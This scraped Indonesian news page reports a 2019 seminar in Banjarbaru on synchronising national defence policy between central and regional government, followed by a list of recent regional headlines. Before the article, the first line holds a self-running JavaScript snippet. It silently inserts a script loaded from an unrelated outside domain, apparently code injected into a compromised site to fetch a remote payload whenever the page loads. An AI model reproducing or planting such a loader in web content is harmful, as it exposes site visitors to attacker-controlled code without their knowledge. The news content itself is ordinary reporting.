(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Perkuat Sistem Pertahanan Negara, Kanwil Kementerian Pertahanan Hadir di Kalsel


BANJARBARU, Pengelolaan sistem pertahanan negara dilaksanakan dengan mensinergikan dan mengintegrasikan pertahanan militer dan pertahanan nirmiliter secara fisik dan non fisik dalam kesatuan pertahanan. Dengan menyeimbangkan aspek keamanan dan kesejahteraan, perwujudan sinergitas ini diharapkan akan mampu meningkatkan efektifitas dan efesiensi koordinasi dalam penyelenggaraan pertahanan Negara di seluruh wilayah NKRI.

Paparan tersebut diutarakan Kepala Kantor Wilayah Kementerian Pertahanan Kalsel, Kolonel Inf Benny Wahyudi pada saat seminar sinkronisasi kebijakan pertahanan negara, di Aula Gawi Sabarataan, Kota Banjarbaru, Jum’at (26/4/2019).

Kolonel Inf Benny Wahyudi mengatakan, peran daerah dalam aspek pertahanan Negara sangat penting, Daerah dapat menjadi pintu masuk datangnnya ancaman nonmiliter yang bersifat multidimensi. “Sehingga sangat perlunya sinkronisasi kebijakan pertahanan nirmiliter di daerah, yang memiliki kemampuan-kemampuan diantaranya kewaspadaan dini bela Negara, ilmu pengetahuan dan tekhnologi ekonomi, sosial, moral serta dukungan pertahanan Negara,” bebernya. Untuk itu perlu adanya sinkronisasi kebijakan pertahanan Negara antara pemerintah pusat dan daerah dalam kerangka pembinaan kesadaran bela Negara.

Perwujudan sinergisitas diharapkan akan mampu meningkatkan efektifitas dan efesiensi koordinasi dalam penyelenggaraan pertahanan Negara di seluruh wilayah NKRI. Kementerian Pertahanan selaku pengemban fungsi pemerintahan di bidang pertahanan harus berperan aktif mendorong terwujudnya sinergisitas kementerian/lembaga dan pemerintah daerah dalam mencapai tujuan Negara.

Sekdako Banjarbaru H Said Abdullah memperkenalkan kepada masyarakat jika di Kota Banjarbaru ada terdapat Kantor Wilayah Kementerian Pertahanan RI, sebagai salah satu upaya tepat untuk memperketat kembali persatuan dan kesatuan masyarakat dalam menjaga keamanan dan dalam bermasyarakat.

“Pertahanan Negara bukan hanya tanggung jawab TNI dan Polri, namun seluruh element masyarakat harus terlibat didalamnya. Konsep arsitektur penyelenggaraan pertahanan Negara dilaksanakan dengan sistem pertahanan semesta,” ujarnya. Sistem pertahanan semesta merupakan totalitas dari keseluruhan kekuatan komponen rakyat dan sumber daya Negara, serta sarana dan prasarana nasional sebagai satu kesatuan pertahanan. (rico)

Reporter:Rico
Editor:Bie

Desy Arfianty

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

5 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

7 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

12 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

15 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

16 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

This website uses cookies.